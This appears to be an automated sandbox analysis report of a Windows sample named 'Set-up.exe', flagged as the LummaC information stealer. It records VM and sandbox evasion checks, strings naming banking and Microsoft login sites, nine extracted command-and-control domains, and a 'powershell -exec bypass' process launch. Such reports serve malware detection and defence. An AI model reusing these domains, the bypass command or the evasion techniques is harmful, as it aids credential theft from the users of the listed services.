Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\'Set-up.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7546	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2080	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2180	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 999	Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe TID: 2300	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6288	Thread sleep count: 7546 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6268	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5960	Thread sleep count: 2080 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1464	Thread sleep count: 2180 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5952	Thread sleep count: 999 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5176	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809			Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809			Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 'Set-up.exe, 00000000.00000003.2356545137.0000000000863000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2282938452.0000000000853000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377715589.0000000000864000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 'Set-up.exe, 00000000.00000003.2330035962.000000000358A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 'Set-up.exe, 00000000.00000003.2354061225.000000000358B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6nrkdzDfsQ7pfwBivJDdeBjyC8ZBrYMHeatMrX4SJ1l2vEDg/GZZwN3qvaQEOk1nsYI0nQhADMY/hZsIxYmq3ilFF3yHgGzY6tEzFmBea/UBzFhAmYb1oqHrA2HYnHoIDc0qDg5jN/iSm+UGwHYbQqqkRJVpdhCsWfEsDQs2YatlmgMvGsygRH9PIZM241n1Wg2QJriGdD15v8AEBGUz5wmlUAhSdeuRka5XGneIZTmGpDHsAMQJpeyqP8xYFGCRUAjTnqs8pnAw7ZfJaRM+v+EFLwrtaPnqkMBbgxavDBYWANPixOUg4B+VzjJUjJYCBsUJclzNAchyM4pexDM02OhsoxyzrVD0C6Arsg91oEjxRVPKLcNQkNKVbxTCUW6soC2egIZoCPA7t4NFXTGOgK4Ztqmq9iAIBoyJ0taxTdWMw6zUbRFVnX0UrMS8+qbjpa49lGwqehC3MjgPLqrkBUFpyDPwpFUfupRlk6QW9NIcWAwPgjCgxdK6okaC1DF0K1ohFZDl5jASmKR3itQzUXpUraHaACX6vQ/9XAsTV4DSBo7dk3QZrlT5uo4dswPOpnsJUzg7nmNYtWoEgESZWcUTH2xOwuFIKgJgfVnHTK+JLmAb/RowJPMKhAsCv3xIKp3A3J0bIrT6Kneikg7dvk+GJmkHFttaJEguSLSv129ueZxPU8u/jjbOh58SbK79gHC6fbyHtiXugGa2piEQXxG+bmG0Cus4t/nq2zXfIR5aooh8B19rBJQYmQ20FEfz4uFqfTRmf/+lM6Ex746uEtS7v0ouFUMm83c8HpZ5PQzRdxuv47EQAZ9PEP/ZL6ecyVbL+8hOSJm6+yF+1A6ySN83i+WdwHy5TP6AGa54yNOQDMt0K/OHXfg+kqThLIfk6QFsLDCjZdpZTGOzjUsCOwZe5C6Gi8Q8TVSedBLpSfsvQj8BDp18kmZ3ex54YP0+Gs0yuOc0oHyahpuklKSN9DNVuBZhWH/uMHS1PAuQ5a2Lju9F/SWeKm7prBc0jVP84iPJxdnHVJ/HDDDbXL54Z89qdU0Vcin6gqmwXrJjGgP4IA8IR19qewIwTnUCQdrTZp1GW0u9j1R6sUgPUrm2c5cvXl9oot3E2Yi+lA6TVxs+wzTv0RyoJlnAb/LVyrQ+JXXkt08JQiqZojt7zmAq6A6TMAI3d99XjZOb1H2Ej05cPkbrRi3jsQ/1cA/+FiEaSdYURoSjyCbui7SR58sFKCEAn3HKH4uwm3eDW6eeqSVnn3vRu5S+ZPUrZgKYs8lgl1/fYieGCfbdnVWn1in27qZ19Yfhv4WKpf3SAPgywfR4sYK3wdc8VGoHmK3TWFL5jmOUHB49Ogy2jYoedRvh3h9D96fGhUBv0WbVKW3Fxq4ViXVL2x9NKNgA+vC8A5zUncE8H2TafulfEOSRqFccYu86ht5uc0nLgpiCrzoulmnAYZLfk4zbvX51WQrYMsc8ORmzRWmqqLFXZVINxxVKaxrpheUhYRfRx54cZnzZZxdMOYT0VhpWbZdIcVFHnb3QBFJEgxwyQpCTte0yQjzn7uCUZsuA+iYIJO4a+Hmq+9ONtmOcMMYl7TbktlwpTMf366yxqm+uPbWY4CHOTnXrwGvPjnt7OfVwg2HHr8jHcJ5uzn/JOx/BvEfztbuB6bx/F7g140IE1ADEJaowXvBvNNEPosJao/m8Fy7X5/Yr9v
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: powershell.exe, 00000004.00000002.2500612887.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 'Set-up.exe, 00000000.00000002.2494222594.000000000082B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJ
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 'Set-up.exe, 00000000.00000003.2308613887.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\'Set-up.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028503E1 mov edx, dword ptr fs:[00000030h]	0_2_028503E1
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028509A1 mov eax, dword ptr fs:[00000030h]	0_2_028509A1
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02850FF1 mov eax, dword ptr fs:[00000030h]	0_2_02850FF1
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02850FF0 mov eax, dword ptr fs:[00000030h]	0_2_02850FF0
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02850D51 mov eax, dword ptr fs:[00000030h]	0_2_02850D51

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: 'Set-up.exe	String found in binary or memory: tentabatte.lat
Source: 'Set-up.exe	String found in binary or memory: bashfulacid.lat
Source: 'Set-up.exe	String found in binary or memory: wordyfindy.lat
Source: 'Set-up.exe	String found in binary or memory: slipperyloo.lat
Source: 'Set-up.exe	String found in binary or memory: weighappetis.click
Source: 'Set-up.exe	String found in binary or memory: talkynicer.lat
Source: 'Set-up.exe	String found in binary or memory: curverpluch.lat
Source: 'Set-up.exe	String found in binary or memory: manyrestro.lat
Source: 'Set-up.exe	String found in binary or memory: shapestickyr.lat

Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!doctype html> <!--[if lt ie 7]> <html class="no-js ie6 oldie" lang="en-us"> <![endif]--> <!--[if ie 7]> <html class="no-js ie7 oldie" lang="en-us"> <![endif]--> <!--[if ie 8]> <html class="no-js ie8 oldie" lang="en-us"> <![endif]--> <!--[if gt ie 8]><!--> <html class="no-js" lang="en-us"> <!--<![endif]--> <head> <title>suspected phishing site \| cloudflare</title> <meta charset="utf-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt ie 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte ie 10]><!--> <script> if (!navigator.cookieenabled) { window.addeventlistener('domcontentloaded', function () { var cookieel = document.getelementbyid('cookie-alert'); cookieel.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> warning</h4> <h2 style="margin: 16px 0;">suspected phishing</h2> <strong>this website has been reported for potential phishing.</strong> <p>phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">learn more</a> <form action="/cdn-cgi/phish-bypass" method="get" enctype="text/plain"> <input type="hidden" name="atok" value="givicfxz57xm8tfcfb_u7tr.zkobltdfuigj9wnfr2m-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">ignore & proceed</button> </form> </p> </div> <
Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!doctype html> <!--[if lt ie 7]> <html class="no-js ie6 oldie" lang="en-us"> <![endif]--> <!--[if ie 7]> <html class="no-js ie7 oldie" lang="en-us"> <![endif]--> <!--[if ie 8]> <html class="no-js ie8 oldie" lang="en-us"> <![endif]--> <!--[if gt ie 8]><!--> <html class="no-js" lang="en-us"> <!--<![endif]--> <head> <title>suspected phishing site \| cloudflare</title> <meta charset="utf-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt ie 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte ie 10]><!--> <script> if (!navigator.cookieenabled) { window.addeventlistener('domcontentloaded', function () { var cookieel = document.getelementbyid('cookie-alert'); cookieel.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> warning</h4> <h2 style="margin: 16px 0;">suspected phishing</h2> <strong>this website has been reported for potential phishing.</strong> <p>phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">learn more</a> <form action="/cdn-cgi/phish-bypass" method="get" enctype="text/plain"> <input type="hidden" name="atok" value="givicfxz57xm8tfcfb_u7tr.zkobltdfuigj9wnfr2m-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">ignore & proceed</button> </form> </p> </div> <			Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
